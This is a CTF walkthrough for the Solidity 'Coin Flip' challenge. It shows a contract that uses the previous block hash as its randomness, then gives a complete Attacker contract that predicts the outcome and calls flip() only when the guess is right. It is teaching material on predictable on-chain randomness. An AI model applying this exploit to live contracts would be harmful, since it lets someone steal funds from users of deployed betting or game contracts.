Skip to content

Coin Flip

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

Goal

Win every bet by predicting the guess

Exploit

In order to finish this CTF we will have to use another smart contract. We can name this contract Attacker.

We need more than 10 consecutive wins to pass this challenge, this value is stored inside the consecutiveWins variable, which is initialized to 0 in the contructor.

One think to keep in mind is that the transactions in the blockchain are atomic, so either everything passes and the state is changed, or if the transaction failes everything is reverterd to the previous state, meaning if the transaction reverts every storage variable will kepp it's previos state (value).

Another thing to keep in mind is that everything in the smart contracts is publicly visible, including the local variables and state variables marked as private.

To place our guess we need to call the flip() function with a boolean parameter, which means this function only accepts true or false as parameters.

Inside the Attacker contract we can pre-calculate the side parameter and call the flip(bool _guess) function from the CoinFlip contract within the Attacker contract, only if our guess is correct.

To exploit the contract we need to:

  1. create Attacker contract, and send the address of the CoinFlip contract inside the Attacker contract
  2. create placeGuess(bool _guess) external function inside the Attacker contract, inside this function we will pre-calculate the side parameter (which can be true or false)
  3. call the placeGuess function inside the Attacker contract with a value for the _guess parameter (true/false)
  4. if our _guess is equal to the pre-calculated side parameter, we call the flip() function from the CoinFlip contract, if our _guess does not match the side parameter we revert the transaction

Attacker contract code

contract Attacker {

  address private coinFlipContractAddress;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor(address _cf) {
    coinFlipContractAddress = _cf;
  }

  function placeGuess(bool _guess) external {
      uint256 blockValue = uint256(blockhash(block.number - 1));

      uint256 coinFlipp = blockValue / FACTOR;
      bool side = coinFlipp == 1 ? true : false;

      if (side == _guess) {
        // calling the flip function from CoinFlip contract
        (bool success, ) = coinFlipContractAddress.call(abi.encodeWithSignature("flip(bool)", _guess));
        require(success, "Transaction failed");
      } else revert();
  }
}